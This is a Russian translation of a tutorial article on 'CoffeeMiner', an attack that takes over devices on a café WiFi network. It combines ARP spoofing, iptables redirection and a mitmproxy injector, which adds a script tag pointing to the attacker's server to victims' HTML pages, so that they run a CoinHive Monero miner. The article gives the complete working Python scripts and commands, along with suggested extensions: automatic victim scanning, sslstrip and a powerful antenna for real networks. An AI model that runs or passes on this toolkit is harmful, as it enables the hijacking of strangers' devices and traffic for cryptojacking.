Отказ от ответственности: эта статья и проект только для ознакомительных и учебных целей.

Несколько недель назад я читал об этом случае Starbucks, когда хакеры захватывали ноутбуки в сети Wi-Fi, чтобы использовать вычислительную мощность устройств для майнинга криптовалюты, и я подумал, что было бы интересно выполнить атаку по-другому.

Цель этой статьи — объяснить, как можно выполнить атаку MITM (Man (Person) -In-The-Middle), чтобы внедрить некоторый javascript в html-страницы, чтобы заставить все устройства, подключенные к сети WiFi использовать для майнинга криптовалюты злоумышленником.

coffeeMiner

Цель состоит в том, чтобы использовать скрипт, который выполняет автономную атаку на сеть WiFi. Это то, что мы назвали CoffeeMiner, так как это своего рода атака, которая может быть осуществлена в WiFi-сетях кафе.

1. Сценарий

Сценарий будет состоять в том, что некоторые компьютеры будут подключены к сети WiFi, а злоумышленник CoffeeMiner перехватит трафик между пользователями и маршрутизатором.

network

1.1 Сценарий настройки

Реальный сценарий — WiFi с подключенными ноутбуками и смартфонами. В этой статье мы рассмотрим более подробно, как настроить виртуальную среду.

Мы будем использовать VirtualBox для развертывания нашего виртуального сценария.

Прежде всего нам нужно скачать образ диска Linux и установить его на машину VirtualBox, для этого примера мы будем использовать образы Kali Linux,

Как только мы загрузили ISO-образ, мы подготовим 3 машины VBox с установленным образом Linux.

Чтобы настроить определенный сценарий, нам нужно подготовить машины, каждая из которых имеет роль:

  • Жертва
    • машина, которая подключается к маршрутизатору и просматривать некоторые страницы.
  • Атакующий
    • машина, где будет запущен CoffeeMiner. Машина, которая выполняет MITM.
  • Маршрутизатор / Шлюз
    • будет действовать как нормальный шлюз.
network

Как только атака будет выполнена, сценарий будет:

network

Чтобы настроить каждую из машин, мы сделаем следующую конфигурацию:

  • Жертва
    • network adapter:
      • eth0: Host-only Adapter
    • /etc/network/interfaces:
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
    address 10.0.2.10
    netmask 255.255.255.0
    gateway 10.0.2.15
  • Атакующий
    • network adapter:
      • eth0: Host-only Adapter
    • /etc/network/interfaces:
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
    address 10.0.2.20
    netmask 255.255.255.0
    gateway 10.0.2.15
  • Маршрутизатор / Шлюз
    • network adapter:
      • eth0: Bridged Adapter
      • eth1: Host-only Adapter
    • /etc/network/interfaces:
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

auto eth1
iface eth1 inet static
    address 10.0.2.15
    netmask 255.255.255.0

2. CoffeeMiner, понимание кода
2.1 ARPspoofing

Прежде всего, нам нужно понять, как выполняется атака MITM.

Из Википедии:

«В компьютерных сетях спуфинг ARP, отравление кэша ARP или маршрутизация отравления ARP — это метод, с помощью которого злоумышленник отправляет (подделывает) сообщения протокола разрешения адресов (ARP) в локальную сеть. Как правило, цель состоит в том, чтобы связать MAC-адрес злоумышленника с IP-адресом другого хоста, например, шлюза по умолчанию, чтобы любой трафик, предназначенный для этого IP-адреса, отправлялся злоумышленнику ».

Для выполнения атаки ARPspoofing мы будем использовать библиотеку dsniff.

arpspoof -i interface -t ipVictim ipGateway
arpspoof -i interface -t ipGateway ipVictim

2.2 mitmproxy

mitmproxy — это программный инструмент, который позволяет нам анализировать трафик, проходящий через хост, и позволяет редактировать этот трафик. В нашем случае мы будем использовать его для вставки JavaScript в HTML-страницы.

Чтобы сделать процесс чище, мы добавим в HTML-страницы только одну строку кода. И будет та строка HTML-кода, которая будет вызывать майнер криптовалюты javascript.

Строка для внедрения крипто-майнера:

<script src="http://httpserverIP:8000/script.js"></script>

2.3 Инжектор

После того, как трафик жертвы будет перехвачен, нам нужно внедрить в него наш скрипт. Мы будем использовать API-интерфейс mitmproxy для создания инжектора:

from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse

class Injector:
    def __init__(self, path):
        self.path = path

    def response(self, flow: http.HTTPFlow) -> None:
        if self.path:
            html = BeautifulSoup(flow.response.content, "html.parser")
            print(self.path)
            print(flow.response.headers["content-type"])
            if flow.response.headers["content-type"] == 'text/html':
                script = html.new_tag(
                    "script",
                    src=self.path,
                    type='application/javascript')
                html.body.insert(0, script)
                flow.response.content = str(html).encode("utf8")
                print("Script injected.")

def start():
    parser = argparse.ArgumentParser()
    parser.add_argument("path", type=str)
    args = parser.parse_args()
    return Injector(args.path)

2.4 HTTP-сервер

Как мы уже видели, инжектор добавляет строку в HTML с вызовом нашего криптомайнера javascript. Итак, нам нужно развернуть файл сценария на HTTP-сервере.

Чтобы обслуживать майнер криптовалюты javascript, мы развернем HTTP-сервер на компьютере злоумышленника. Для этого мы будем использовать библиотеку Python «HTTP.server»:

#!/usr/bin/env python
import http.server
import socketserver
import os

PORT = 8000

web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
os.chdir(web_dir)

Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", PORT), Handler)
print("serving at port", PORT)
httpd.serve_forever()

Приведенный выше код представляет собой простой HTTP-сервер, который будет обслуживать нашего крипто-майнера жертвам, когда они в этом нуждаются.

Майнер javascript будет помещен в каталог /miner_script. В нашем случае мы использовали майнер CoinHive.

2.5 CoinHive крипто-майнер

CoinHive — это майнер JavaScript для криптовалюты Monero (XMR). Он может быть добавлен на веб-сайт и будет использовать мощность процессора пользователя для вычисления хэшей с помощью алгоритма хэширования Cryptonight PoW для майнинга Monero на основе протокола CryptoNote.

CoinHive майнер имеет смысл, когда пользователь остается на веб-сайте для среднесрочных сессий. Так, например, для веб-сайта, где средняя продолжительность сеанса пользователя составляет около 40 секунд, это не имеет особого смысла.

В нашем случае, поскольку мы будем внедрять крипто-майнер на каждую HTML-страницу, которую запрашивают жертвы, будут проводиться долгосрочные сеансы для вычисления хеш-кодов для майнинга Monero.

CoinHive logo

3. CoffeeMiner, собрать все вместе

Основная цель — связать все предыдущие концепции в одном автономном развертывании. Это будет CoffeeMiner.

Идея состоит в том, чтобы иметь скрипт CoffeeMiner, который выполняет атаку ARPspoofing и устанавливает mitmproxy для внедрения криптомайнера CoinHive в HTML-страницы жертвы.

Прежде всего, нам нужно настроить ip_forwarding и IPTABLES, чтобы преобразовать компьютер злоумышленника в прокси:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Чтобы выполнить ARPspoof для всех жертв, мы подготовим файл «children.txt» со всеми IP-адресами жертв. Чтобы прочитать все IP-адреса жертв, мы подготовим несколько строк Python, которые получат IP-адреса (а также IP-адрес шлюза из аргументов командной строки) и выполнят ARPspoof для каждого из IP-адресов жертвы.

# get gateway_ip
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)

# run the arpspoof for each victim, each one in a new console
for victim in victims:
    os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
    os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")

Как только у нас будет выполнена ARPspoofing, нам просто нужно запустить HTTP-сервер:

> python3 httpServer.py

И теперь мы можем запустить mitmproxy с помощью injector.py:

> mitmdump -s 'injector.py http://httpserverIP:8000/script.js'

3.1 CoffeeMiner, финальный скрипт

Теперь мы поместим все концепции, описанные выше, в скрипт «coffeeMiner.py»:

import os
import sys

#get gateway_ip (router)
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)

# configure routing (IPTABLES)
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")


# run the arpspoof for each victim, each one in a new console
for victim in victims:
    os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
    os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")

# start the http server for serving the script.js, in a new console
os.system("xterm -hold -e 'python3 httpServer.py' &")

# start the mitmproxy
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")

А также в сценарии «injector.py»:

from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse

class Injector:
    def __init__(self, path):
        self.path = path

    def response(self, flow: http.HTTPFlow) -> None:
        if self.path:
            html = BeautifulSoup(flow.response.content, "html.parser")
            print(self.path)
            print(flow.response.headers["content-type"])
            if flow.response.headers["content-type"] == 'text/html':
                print(flow.response.headers["content-type"])
                script = html.new_tag(
                    "script",
                    src=self.path,
                    type='application/javascript')
                html.body.insert(0, script)
                flow.response.content = str(html).encode("utf8")
                print("Script injected.")

def start():
    parser = argparse.ArgumentParser()
    parser.add_argument("path", type=str)
    args = parser.parse_args()
    return Injector(args.path)

И чтобы выполнить, нам просто нужно сделать:

> python3 coffeeMiner.py RouterIP

4. Демо

Для демонстрации мы настроили сценарий VirtualBox, описанный выше.

Если мы хотим выполнить атаку вручную, нам понадобятся следующие терминалы:

demo

Затем, когда атака ARP-спуфинга завершена, а инжектор и HTTP-сервер готовы, мы можем перейти на компьютер жертвы и перейти на веб-сайт. Трафик жертвы пройдет через машину атакующего и активирует инжектор:

demo

В результате HTML-страницы, которые просматривает жертва, будут содержать HTML-строки кода, введенные злоумышленником.

demo

4.1 Демо-видео

В следующем видео мы видим полную атаку в сценарии с использованием сценария coffeeMiner.py:

     VirtualBox demo:

Реальная демонстрация WiFi сети и ноутбуков:

Вывод

Как мы уже видели, атака может быть легко выполнена, а также может быть развернута как автономная атака в сети WiFi.

Еще одна вещь, которую нужно иметь в виду, это то, что для реальной сети WiFi лучше выполнять процесс с мощной WiFi-антенной, чтобы лучше охватить все физические зоны.

Основная цель состояла в том, чтобы выполнить автономную атаку, но нам все еще нужно отредактировать файл victims.txt с IP-адресами устройств жертвы. Для дальнейшей версии возможной функцией может быть добавление автономного сканирования Nmap, чтобы добавить IP-адреса, обнаруженные в списке жертвы CoffeeMiner. Другой дополнительной функцией может быть добавление sslstrip, чтобы убедиться, что внедрение также выполняется на веб-сайтах, которые пользователь может запросить через HTTPS

Полный код доступен в репозитории github: https://github.com/arnaucode/coffeeMiner

Источник

0 0 голос
Рейтинг статьи